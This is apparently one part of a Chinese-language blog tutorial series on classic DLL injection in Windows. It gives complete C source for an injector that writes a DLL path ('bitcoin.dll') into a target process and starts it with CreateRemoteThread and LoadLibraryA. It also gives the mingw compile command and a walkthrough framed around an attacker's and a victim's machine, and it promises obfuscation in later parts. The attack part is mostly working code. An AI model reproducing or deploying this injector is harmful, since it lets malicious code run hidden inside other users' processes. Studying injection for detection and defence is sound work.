让我们来谈谈一种经典的技巧,即使用调试工具的 DLL 注入。在上一部分中,我们讨论了将代码放入程序中。现在,让我们准备注入我们的 DLL。
当您为常规程序 (exe) 和称为 DLL 的特殊程序编写 C 代码时,会存在一些细微的差别。对于 exe,操作系统通过调用名为 main 的函数来启动所有程序。但对于 DLL,情况略有不同。操作系统已经在内存中启动了一个进程。您的 DLL 被加载到该进程中,因为该进程需要您的 DLL 可以执行的操作。
因此exe 需要一个 main 函数,而 DLL 需要一个 DLLMain 函数。这就是两者之间的主要区别。
为了简单起见,我们创建仅弹出消息框的 DLL:
此 DLL 仅包含 DllMain 函数,该函数是 DLL 的主入口点。通常,合法的 DLL 会声明导出函数,但此 DLL 不会。在 DLL 加载到进程内存后,会立即执行 DllMain。
在 DLL 注入的背景下,简单性是在另一个进程中执行代码的关键。因此,许多恶意 DLL 的大部分有害代码都包含在 DllMain 中。虽然有方法可以强制进程运行导出函数,但使用 DllMain 通常是实现代码执行的最直接方法。
当注入进程时,此 DLL 应显示消息“ hii ”以确认注入成功。这使攻击者能够验证注入是否成功。
现在我们可以编译它(在攻击者的机器上):
并将其放在我们选择的目录中(受害者的机器):
现在我们只需要一个代码将这个库注入到我们选择的进程中。
在我们的案例中,我们将讨论经典的 DLL 注入。我们从磁盘分配一个大小至少等于 DLL 路径长度的空缓冲区。然后我们将路径复制到此缓冲区。
1#include <stdio.h>
2#include <stdlib.h>
3#include <string.h>
4#include <windows.h>
5#include <tlhelp32.h>
6
7
8char evilDLL[] = "C:\\bitcoin.dll";
9unsigned int evilLen = sizeof(evilDLL) + 1;
10
11
12int main(int argc, char* argv[]) {
13 HANDLE ph; // process handle
14 HANDLE rt; // remote thread
15 LPVOID rb; // remote buffer
16
17
18 // handle to kernel32 and pass it to GetProcAddress
19 HMODULE hKernel32 = GetModuleHandle("Kernel32");
20 FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryA"); // Use FARPROC for function pointer
21
22
23 // parse process ID
24 if ( atoi(argv[1]) == 0) {
25 printf("PID not found :( exiting...\n");
26 return -1;
27 }
28 printf("PID: %i\n", atoi(argv[1]));
29
30
31 ph = OpenProcess(PROCESS_ALL_ACCESS,
32 FALSE,
33 DWORD(atoi(argv[1])));
34
35
36 // allocate memory buffer for remote process
37 rb = VirtualAllocEx(ph, NULL, evilLen,
38 (MEM_RESERVE | MEM_COMMIT),
39 PAGE_EXECUTE_READWRITE);
40
41
42 // "copy" evil DLL between processes
43 WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
44
45
46 // our process start new thread
47 rt = CreateRemoteThread(ph, NULL, 0,
48 (LPTHREAD_START_ROUTINE)lb, // Cast lb to the appropriate function pointer type
49 rb, 0, NULL);
50
51
52 CloseHandle(ph);
53 return 0;
54}
此代码是恶意软件注入的一个简单示例。其工作原理如下:
加载恶意 DLL:代码指定恶意 DLL 的路径(bitcoin.dll)及其长度。
获取函数地址:使用LoadLibraryA从模块中检索函数的地址。此函数负责加载 DLL。Kernel32GetProcAddress
打开目标进程:使用 打开由其进程 ID (PID) 指定的目标进程OpenProcess。
在目标进程中分配内存:它在目标进程内分配内存,用于VirtualAllocEx存储恶意 DLL 的路径。
写入目标进程内存:使用将恶意DLL的路径写入目标进程分配的内存空间WriteProcessMemory。
创建远程线程:使用 在目标进程中创建远程线程CreateRemoteThread。指示该线程执行LoadLibraryA函数,并将存储恶意 DLL 路径的内存地址作为参数传递。
最终,当我们理解了注入器的全部代码后,我们就可以测试它了。编译它:
1x86_64-w64-mingw32-gcc -O2 bitcoin1.cpp -o bit_inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1
让我们首先启动一个 calc.exe 实例,然后执行我们的程序:
为了验证我们的 DLL 确实被注入到 calc.exe 进程中,我们可以使用 Process Hacker。
在另一个内存部分我们可以看到:
看来我们的简单注入逻辑成功了!这只是将 DLL 注入另一个进程的最简单的方法,但在许多情况下它就足够了,而且非常有用。
如果您愿意,您还可以添加函数调用混淆,这将在未来的部分中进行研究。
在以后的部分中,我将尝试找出更高级的代码注入技术。
我希望你喜欢它:)
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里